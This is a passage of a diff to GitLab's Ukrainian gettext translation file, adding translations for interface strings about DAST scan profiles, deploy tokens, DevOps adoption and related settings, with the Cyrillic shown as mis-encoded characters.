+msgstr "Ðалаштуйте параметри DAST відповідно до ваших вимог. Зміни конфігурації, зроблені тут, перевизначать налаштуваннÑ, надані GitLab, Ñ– не будуть оновлюватиÑÑ. Ð”Ð»Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð±Ñ–Ð»ÑŒÑˆ детальної інформації про додаткові Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñньте %{docsLinkStart}документацію GitLab DAST%{docsLinkEnd}."
msgid "DastConfig|DAST Settings"
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ DAST"
msgid "DastConfig|Generate code snippet"
msgstr ""
msgid "DastConfig|Scan Configuration"
-msgstr ""
+msgstr "ÐšÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ ÑкануваннÑ"
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
-msgstr ""
+msgstr "ПаÑивне ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ñтежує вÑÑ– HTTP-Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ (запити та відповіді), надіÑлані цільовому об’єкту. Ðктивне ÑÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð°Ñ‚Ð°ÐºÑƒÑ” цільовий об’єкт, щоб знайти потенційні вразливоÑÑ‚Ñ–."
msgid "DastProfiles|AJAX spider"
-msgstr ""
+msgstr "AJAX spider"
msgid "DastProfiles|Active"
msgstr "Ðктивний"
msgid "DastProfiles|Additional request headers (Optional)"
-msgstr ""
+msgstr "Додаткові заголовки запиту (необов'Ñзково)"
msgid "DastProfiles|Are you sure you want to delete this profile?"
-msgstr ""
+msgstr "Ви впевнені, що хочете видалити цей профіль?"
msgid "DastProfiles|Authentication"
msgstr "ÐвтентифікаціÑ"
msgid "DastProfiles|Authentication URL"
-msgstr ""
+msgstr "URL-адреÑа автентифікації"
msgid "DastProfiles|Branch missing"
-msgstr ""
+msgstr "ВідÑÑƒÑ‚Ð½Ñ Ð³Ñ–Ð»ÐºÐ°"
msgid "DastProfiles|Could not create the scanner profile. Please try again."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ñтворити профіль Ñканера. Будь лаÑка, Ñпробуйте ще раз."
msgid "DastProfiles|Could not create the site profile. Please try again."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ñтворити профіль Ñайту. Будь лаÑка, Ñпробуйте ще раз."
msgid "DastProfiles|Could not delete saved scan. Please refresh the page, or try again later."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ збережений Ñкан. Будь лаÑка, оновіть Ñторінку або Ñпробуйте ще раз пізніше."
msgid "DastProfiles|Could not delete saved scans:"
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ збережені ÑкануваннÑ:"
msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ профіль Ñканера. Будь лаÑка, оновіть Ñторінку або Ñпробуйте ще раз пізніше."
msgid "DastProfiles|Could not delete scanner profiles:"
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ профілі Ñканера:"
msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ профіль Ñайту. Будь лаÑка, оновіть Ñторінку або Ñпробуйте ще раз пізніше."
msgid "DastProfiles|Could not delete site profiles:"
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ профілі Ñайту:"
msgid "DastProfiles|Could not fetch saved scans. Please refresh the page, or try again later."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ збережені Ñкани. Будь лаÑка, оновіть Ñторінку або Ñпробуйте ще раз пізніше."
msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ профілі Ñканерів. Будь лаÑка, оновіть Ñторінку або Ñпробуйте ще раз пізніше."
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ профілі Ñайту. Будь лаÑка, оновіть Ñторінку або Ñпробуйте ще раз пізніше."
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -10747,7 +10956,7 @@ msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
msgid "DastProfiles|DAST Scan"
-msgstr ""
+msgstr "DAST-ÑкануваннÑ"
msgid "DastProfiles|Debug messages"
msgstr ""
@@ -10768,10 +10977,10 @@ msgid "DastProfiles|Edit profile"
msgstr "Редагувати профіль"
msgid "DastProfiles|Edit scanner profile"
-msgstr ""
+msgstr "Редагувати профіль Ñканера"
msgid "DastProfiles|Edit site profile"
-msgstr ""
+msgstr "Редагувати профіль Ñайту"
msgid "DastProfiles|Enable Authentication"
msgstr "Увімкнути автентифікацію"
@@ -10783,7 +10992,7 @@ msgid "DastProfiles|Enter headers in a comma-separated list."
msgstr ""
msgid "DastProfiles|Error Details"
-msgstr ""
+msgstr "Помилка деталі"
msgid "DastProfiles|Excluded URLs"
msgstr ""
@@ -10864,7 +11073,7 @@ msgid "DastProfiles|Save profile"
msgstr "Зберегти профіль"
msgid "DastProfiles|Saved Scans"
-msgstr ""
+msgstr "Збережені ÑкануваннÑ"
msgid "DastProfiles|Scan"
msgstr ""
@@ -10873,16 +11082,16 @@ msgid "DastProfiles|Scan mode"
msgstr "Режим ÑкануваннÑ"
msgid "DastProfiles|Scanner Profile"
-msgstr ""
+msgstr "Профіль Ñканера"
msgid "DastProfiles|Scanner Profiles"
-msgstr ""
+msgstr "Сканувальні профілі"
msgid "DastProfiles|Scanner name"
msgstr "Ім'Ñ Ñканера"
msgid "DastProfiles|Schedule"
-msgstr ""
+msgstr "Розклад"
msgid "DastProfiles|Select branch"
msgstr "Виберіть гілку"
@@ -10891,7 +11100,7 @@ msgid "DastProfiles|Show debug messages"
msgstr ""
msgid "DastProfiles|Site Profile"
-msgstr ""
+msgstr "Профіль Ñайту"
msgid "DastProfiles|Site Profiles"
msgstr ""
@@ -10900,16 +11109,16 @@ msgid "DastProfiles|Site name"
msgstr "Ім'Ñ Ñайту"
msgid "DastProfiles|Site type"
-msgstr ""
+msgstr "Тип Ñайту"
msgid "DastProfiles|Spider timeout"
msgstr ""
msgid "DastProfiles|Target"
-msgstr ""
+msgstr "Ціль"
msgid "DastProfiles|Target URL"
-msgstr ""
+msgstr "Цільова URL-адреÑа"
msgid "DastProfiles|Target timeout"
msgstr ""
@@ -10930,7 +11139,7 @@ msgid "DastProfiles|This site profile is currently being used by a policy. To ma
msgstr ""
msgid "DastProfiles|Turn on AJAX spider"
-msgstr ""
+msgstr "Увімкніть AJAX spider"
msgid "DastProfiles|URL"
msgstr "URL-адреÑа"
@@ -10942,16 +11151,16 @@ msgid "DastProfiles|Username"
msgstr "Ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача"
msgid "DastProfiles|Username form field"
-msgstr ""
+msgstr "Поле форми імені кориÑтувача"
msgid "DastProfiles|Validated"
msgstr "Перевірено"
msgid "DastProfiles|Validation status"
-msgstr ""
+msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸"
msgid "DastProfiles|Website"
-msgstr ""
+msgstr "Веб-Ñайт"
msgid "DastProfiles|You can either choose a passive scan or validate the target site from the site profile management page. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
msgstr ""
@@ -11036,10 +11245,10 @@ msgid "DastSiteValidation|Validated"
msgstr "Перевірена"
msgid "DastSiteValidation|Validating..."
-msgstr ""
+msgstr "Перевірка..."
msgid "DastSiteValidation|Validation failed"
-msgstr ""
+msgstr "Помилка перевірки"
msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
msgstr ""
@@ -11054,7 +11263,7 @@ msgid "Data is still calculating..."
msgstr "Дані вÑе ще обчиÑлюютьÑÑ..."
msgid "Data type"
-msgstr ""
+msgstr "Тип даних"
msgid "Database update failed"
msgstr ""
@@ -11069,7 +11278,7 @@ msgid "DatadogIntegration|API URL"
msgstr ""
msgid "DatadogIntegration|Environment"
-msgstr ""
+msgstr "Середовище"
msgid "DatadogIntegration|For self-managed deployments, set the %{codeOpen}env%{codeClose} tag for all the data sent to Datadog. %{linkOpen}How do I use tags?%{linkClose}"
msgstr ""
@@ -11078,10 +11287,10 @@ msgid "DatadogIntegration|How do I set up this integration?"
msgstr ""
msgid "DatadogIntegration|Send CI/CD pipeline information to Datadog to monitor for job failures and troubleshoot performance issues. %{docs_link}"
-msgstr ""
+msgstr "ÐадіÑлати інформацію про конвеєр CI/CD до Datadog Ð´Ð»Ñ Ð¼Ð¾Ð½Ñ–Ñ‚Ð¾Ñ€Ð¸Ð½Ð³Ñƒ збоїв у роботі та уÑÑƒÐ½ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ð±Ð»ÐµÐ¼ із продуктивніÑÑ‚ÑŽ. %{docs_link}"
msgid "DatadogIntegration|Service"
-msgstr ""
+msgstr "СервіÑ"
msgid "DatadogIntegration|Tag all data from this GitLab instance in Datadog. Useful when managing several self-managed deployments."
msgstr ""
@@ -11090,7 +11299,7 @@ msgid "DatadogIntegration|The Datadog site to send data to. To send data to the
msgstr ""
msgid "DatadogIntegration|Trace your GitLab pipelines with Datadog."
-msgstr ""
+msgstr "ВідÑтежуйте конвеєри GitLab за допомогою Datadog."
msgid "Datasource name not found"
msgstr "Ім'Ñ Ð´Ð¶ÐµÑ€ÐµÐ»Ð° даних не знайдено"
@@ -11162,7 +11371,7 @@ msgid "Decrease"
msgstr ""
msgid "Default CI/CD configuration file"
-msgstr ""
+msgstr "Типовий файл конфігурації CI/CD"
msgid "Default artifacts expiration"
msgstr "Термін дії артефактів за замовчуваннÑм"
@@ -11174,7 +11383,7 @@ msgid "Default branch and protected branches"
msgstr "Гілка за замовчуваннÑм Ñ– захищені гілки"
msgid "Default branch protection"
-msgstr ""
+msgstr "ЗахиÑÑ‚ гілки за замовчуваннÑм"
msgid "Default classification label"
msgstr "Мітка клаÑифікації за замовчуваннÑм"
@@ -11213,7 +11422,7 @@ msgid "Default: Map a FogBugz account ID to a full name"
msgstr "По замовчуванню: викориÑтовувати ідентифікатор облікового запиÑу FogBugz Ñк повне ім'Ñ"
msgid "DefaultBranchLabel|default"
-msgstr ""
+msgstr "За замовчуваннÑм"
msgid "DefaultBranchProtection|Both developers and maintainers can push new commits, but cannot force push."
msgstr ""
@@ -11228,13 +11437,13 @@ msgid "DefaultBranchProtection|Developers cannot push new commits, but maintaine
msgstr ""
msgid "DefaultBranchProtection|Fully protected"
-msgstr ""
+msgstr "ПовніÑÑ‚ÑŽ захищено"
msgid "DefaultBranchProtection|Not protected"
-msgstr ""
+msgstr "Ðе захищено"
msgid "DefaultBranchProtection|Partially protected"
-msgstr ""
+msgstr "ЧаÑтково захищений"
msgid "DefaultBranchProtection|Protected against pushes"
msgstr ""
@@ -11296,6 +11505,9 @@ msgstr "Видалити коментар"
msgid "Delete Key"
msgstr "Видалити ключ"
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11309,7 +11521,7 @@ msgid "Delete badge"
msgstr "Видалити значок"
msgid "Delete column"
-msgstr ""
+msgstr "Видалити Ñтовпець"
msgid "Delete comment"
msgstr "Видалити коментар"
@@ -11317,9 +11529,12 @@ msgstr "Видалити коментар"
msgid "Delete corpus"
msgstr ""
-msgid "Delete file"
+msgid "Delete deploy key"
msgstr ""
+msgid "Delete file"
+msgstr "Видалити файл"
+
msgid "Delete image repository"
msgstr ""
@@ -11339,7 +11554,7 @@ msgid "Delete project. Are you ABSOLUTELY SURE?"
msgstr "Видалити проєкт. Ви ÐБСОЛЮТÐО ВПЕВÐЕÐІ?"
msgid "Delete row"
-msgstr ""
+msgstr "Видалити Ñ€Ñдок"
msgid "Delete self monitoring project"
msgstr ""
@@ -11357,7 +11572,7 @@ msgid "Delete subscription"
msgstr "Видалити підпиÑку"
msgid "Delete table"
-msgstr ""
+msgstr "Видалити таблицю"
msgid "Delete this attachment"
msgstr "Видалити це вкладеннÑ"
@@ -11371,9 +11586,6 @@ msgstr "Видалити ÑпиÑок кориÑтувачів"
msgid "Delete variable"
msgstr "Видалити змінну"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "Помилка при видаленні репозиторію проєкту. Будь лаÑка, Ñпробуйте знову, або зв'ÑжітьÑÑ Ñ–Ð· адмініÑтратором."
@@ -11419,6 +11631,12 @@ msgstr "Видалені проєкти"
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr "ВидаленнÑ"
@@ -11542,9 +11760,12 @@ msgstr "ПрокÑÑ– залежноÑтей"
msgid "Dependency Scanning"
msgstr "Ð¡ÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð»ÐµÐ¶Ð½Ð¾Ñтей"
-msgid "DependencyProxy|Cached %{time}"
+msgid "Dependency list"
msgstr ""
+msgid "DependencyProxy|Cached %{time}"
+msgstr "Кешовано %{time}"
+
msgid "DependencyProxy|Contains %{count} blobs of images (%{size})"
msgstr ""
@@ -11557,19 +11778,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr "ПрокÑÑ– залежноÑтей"
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11621,7 +11848,7 @@ msgid "DeployFreeze|Add deploy freeze"
msgstr ""
msgid "DeployFreeze|Delete"
-msgstr ""
+msgstr "Видалити"
msgid "DeployFreeze|Delete deploy freeze?"
msgstr ""
@@ -11699,16 +11926,16 @@ msgid "DeployTokens|Active Deploy Tokens (%{active_tokens})"
msgstr "Ðктивні токени Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ (%{active_tokens})"
msgid "DeployTokens|Allows read and write access to registry images."
-msgstr ""
+msgstr "ДозволÑÑ” читати та запиÑувати образи реєÑтру."
msgid "DeployTokens|Allows read and write access to the package registry."
-msgstr ""
+msgstr "ДозволÑÑ” доÑтуп Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ Ñ‚Ð° запиÑу до реєÑтру пакетів."
msgid "DeployTokens|Allows read-only access to registry images."
-msgstr ""
+msgstr "ДозволÑÑ” доÑтуп лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ Ð´Ð¾ образів реєÑтру."
msgid "DeployTokens|Allows read-only access to the package registry."
-msgstr ""
+msgstr "ДозволÑÑ” доÑтуп лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ Ð´Ð¾ реєÑтру пакетів."
msgid "DeployTokens|Allows read-only access to the repository."
msgstr ""
@@ -11720,7 +11947,7 @@ msgid "DeployTokens|Copy username"
msgstr "Скопіювати Ñ–Ð¼â€™Ñ ÐºÐ¾Ñ€Ð¸Ñтувача"
msgid "DeployTokens|Create a new deploy token for all projects in this group. %{link_start}What are deploy tokens?%{link_end}"
-msgstr ""
+msgstr "Створити новий токен Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð´Ð»Ñ Ð²ÑÑ–Ñ… проєктів в цій групі. %{link_start}Що таке токени розгортаннÑ?%{link_end}"
msgid "DeployTokens|Create deploy token"
msgstr "Створити токен розгортаннÑ"
@@ -11729,19 +11956,19 @@ msgid "DeployTokens|Created"
msgstr "Створено"
msgid "DeployTokens|Deploy tokens"
-msgstr ""
+msgstr "Токени розгортаннÑ"
msgid "DeployTokens|Deploy tokens allow access to packages, your repository, and registry images."
msgstr ""
msgid "DeployTokens|Enter a unique name for your deploy token."
-msgstr ""
+msgstr "Введіть унікальне ім'Ñ Ð´Ð»Ñ Ñ‚Ð¾ÐºÐµÐ½Ð° вашого розгортаннÑ."
msgid "DeployTokens|Enter a username for your token. Defaults to %{code_start}gitlab+deploy-token-{n}%{code_end}."
-msgstr ""
+msgstr "Введіть ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ токена. За замовчуваннÑм %{code_start}gitlab+deploy-token-{n}%{code_end}."
msgid "DeployTokens|Enter an expiration date for your token. Defaults to never expire."
-msgstr ""
+msgstr "Введіть термін придатноÑÑ‚Ñ– Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ токену. За замовчуваннÑм — ніколи не закінчитьÑÑ."
msgid "DeployTokens|Expires"
msgstr "Термін дії"
@@ -11753,7 +11980,7 @@ msgid "DeployTokens|Name"
msgstr "Ðазва"
msgid "DeployTokens|New deploy token"
-msgstr ""
+msgstr "Ðовий токен розгортаннÑ"
msgid "DeployTokens|Revoke"
msgstr "Відкликати"
@@ -11780,7 +12007,7 @@ msgid "DeployTokens|Username"
msgstr "Ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача"
msgid "DeployTokens|Your new Deploy Token username"
-msgstr ""
+msgstr "Ваше нове ім'Ñ Ð´Ð»Ñ Ñ‚Ð¾ÐºÐµÐ½Ñƒ розгортаннÑ"
msgid "DeployTokens|Your new group deploy token has been created."
msgstr ""
@@ -11815,9 +12042,6 @@ msgstr ""
msgid "Deployments"
msgstr "РозгортаннÑ"
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11911,7 +12135,7 @@ msgid "DesignManagement|Archive designs"
msgstr ""
msgid "DesignManagement|Archive selected"
-msgstr ""
+msgstr "Ðрхівувати вибрані"
msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
msgstr ""
@@ -11938,7 +12162,7 @@ msgid "DesignManagement|Click the image where you'd like to start a new discussi
msgstr ""
msgid "DesignManagement|Comment"
-msgstr ""
+msgstr "Коментар"
msgid "DesignManagement|Comments you resolve can be viewed and unresolved by going to the \"Resolved Comments\" section below"
msgstr ""
@@ -11959,7 +12183,7 @@ msgid "DesignManagement|Deselect all"
msgstr "ЗнÑти Ð²Ð¸Ð´Ñ–Ð»ÐµÐ½Ð½Ñ Ð· уÑÑ–Ñ…"
msgid "DesignManagement|Designs"
-msgstr ""
+msgstr "Дизайни"
msgid "DesignManagement|Discard comment"
msgstr "Відхилити коментар"
@@ -11992,7 +12216,7 @@ msgid "DesignManagement|Requested design version does not exist. Showing latest
msgstr "Бажана верÑÑ–Ñ Ð´Ð¸Ð·Ð°Ð¹Ð½Ñƒ не Ñ–Ñнує. ЗаміÑÑ‚ÑŒ неї відображаєтьÑÑ Ð¾ÑтаннÑ"
msgid "DesignManagement|Resolve thread"
-msgstr ""
+msgstr "Завершити обговореннÑ"
msgid "DesignManagement|Resolved Comments"
msgstr ""
@@ -12051,8 +12275,8 @@ msgstr "ВиÑÐ²Ð»ÐµÐ½Ð½Ñ ÐºÐ»ÑŽÑ‡Ñ–Ð² хоÑта"
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
-msgstr "Звіт DevOps"
+msgid "DevOps Reports"
+msgstr ""
msgid "DevOps adoption"
msgstr ""
@@ -12064,13 +12288,13 @@ msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
-msgstr ""
+msgstr "Додайте групу, щоб почати"
msgid "DevopsAdoption|Add or remove groups"
-msgstr ""
+msgstr "Додати або видалити групи"
msgid "DevopsAdoption|Add or remove subgroups"
-msgstr ""
+msgstr "Додати або видалити підгрупи"
msgid "DevopsAdoption|Adopted"
msgstr ""
@@ -12109,7 +12333,7 @@ msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr "Щонайменше один конвеєр уÑпішно запущено"
msgid "DevopsAdoption|Code owners"
-msgstr ""
+msgstr "ВлаÑники коду"
msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
@@ -12118,22 +12342,22 @@ msgid "DevopsAdoption|Confirm remove Group"
msgstr ""
msgid "DevopsAdoption|DAST"
-msgstr ""
+msgstr "DAST"
msgid "DevopsAdoption|DAST enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Dependency Scanning"
-msgstr ""
+msgstr "Ð¡ÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ð»ÐµÐ¶Ð½Ð¾Ñтей"
msgid "DevopsAdoption|Dependency Scanning enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Deploys"
-msgstr ""
+msgstr "РозгортаннÑ"
msgid "DevopsAdoption|Dev"
-msgstr ""
+msgstr "Dev"
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -12196,7 +12420,7 @@ msgid "DevopsAdoption|SAST enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Sec"
-msgstr ""
+msgstr "Сек"
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -12217,16 +12441,16 @@ msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
msgid "DevopsReport|DevOps Score"
-msgstr ""
+msgstr "Показник DevOps"
msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
-msgstr ""
+msgstr "Показники DevOps базуютьÑÑ Ð½Ð° викориÑтанні за оÑтанні 30 днів. ОÑтаннє оновленнÑ: %{timestamp}."
msgid "DevopsReport|High"
msgstr "ВиÑокий"
msgid "DevopsReport|Leader usage"
-msgstr ""
+msgstr "ВикориÑÑ‚Ð°Ð½Ð½Ñ Ð»Ñ–Ð´ÐµÑ€Ð°"
msgid "DevopsReport|Low"
msgstr "Ðизький"
@@ -12235,7 +12459,7 @@ msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Overview"
-msgstr ""
+msgstr "ОглÑд"
msgid "DevopsReport|Score"
msgstr "Оцінка"
@@ -12244,7 +12468,7 @@ msgid "DevopsReport|Your score"
msgstr ""
msgid "DevopsReport|Your usage"
-msgstr ""
+msgstr "Ваше викориÑтаннÑ"
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -12324,6 +12548,9 @@ msgstr "Ім'Ñ ÐºÐ°Ñ‚Ð°Ð»Ð¾Ð³Ñƒ"
msgid "Disable"
msgstr "Вимкнути"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12493,6 +12720,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "Домен"
@@ -12583,9 +12813,6 @@ msgstr "Дизлайки"
msgid "Draft"
msgstr "Чернетка"
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12619,6 +12846,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12635,7 +12865,7 @@ msgid "Dynamic Application Security Testing (DAST)"
msgstr ""
msgid "E-mail:"
-msgstr ""
+msgstr "Електронна пошта:"
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -12697,9 +12927,15 @@ msgstr "Редагувати заÑтоÑунок"
msgid "Edit comment"
msgstr "Редагувати коментар"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "Редагувати опиÑ"
@@ -12755,7 +12991,7 @@ msgid "Edit title and description"
msgstr ""
msgid "Edit topic: %{topic_name}"
-msgstr ""
+msgstr "Редагувати тему: %{topic_name}"
msgid "Edit user: %{user_name}"
msgstr "Редагувати кориÑтувача: %{user_name}"
@@ -12793,6 +13029,9 @@ msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ñ–Ð½Ð´ÐµÐºÑÑƒÐ²Ð°Ð½Ð½Ñ Elasticsearch"
msgid "Elasticsearch indexing started"
msgstr "Розпочато індекÑацію Elasticsearch"
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12808,6 +13047,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr "Ðемає. Виберіть проÑтори імен Ð´Ð»Ñ Ñ–Ð½Ð´ÐµÐºÑуваннÑ."
@@ -12829,6 +13071,9 @@ msgstr "Ð¡Ð¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾ÑŽ поштою"
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12928,9 +13173,6 @@ msgstr "ÐадіÑлати від комітера"
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12982,6 +13224,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13003,6 +13248,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr "Увімкнути режим адмініÑтратора"
@@ -13075,6 +13323,9 @@ msgstr "Увімкнути режим обÑлуговуваннÑ"
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Увімкнути чи вимкнути збір даних Ð´Ð»Ñ Pseudonymizer."
@@ -13100,7 +13351,7 @@ msgid "Enable shared runners for this group"
msgstr ""
msgid "Enable shared runners for this project"
-msgstr "Увімкнути загальні runner'и Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проекту"
+msgstr "Увімкнути загальні runner'и Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту"
msgid "Enable smartcn custom analyzer: Indexing"
msgstr ""
@@ -13211,7 +13462,7 @@ msgid "Enter any color or choose one of the suggested colors below."
msgstr ""
msgid "Enter any color."
-msgstr ""
+msgstr "Введіть будь-Ñкий колір."
msgid "Enter at least three characters to search"
msgstr "Введіть щонайменше 3 Ñимволи Ð´Ð»Ñ Ð¿Ð¾ÑˆÑƒÐºÑƒ"
@@ -13235,10 +13486,10 @@ msgid "Enter one or more user ID separated by commas"
msgstr "Введіть одного або декілька ID кориÑтувачів, відокремених комами."
msgid "Enter the %{name} description"
-msgstr ""
+msgstr "Введіть Ð¾Ð¿Ð¸Ñ %{name}"
msgid "Enter the %{name} title"
-msgstr ""
+msgstr "Введіть %{name} заголовок"
msgid "Enter the code from the two-factor app on your mobile device. If you've lost your device, you may enter one of your recovery codes."
msgstr ""
@@ -13249,6 +13500,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
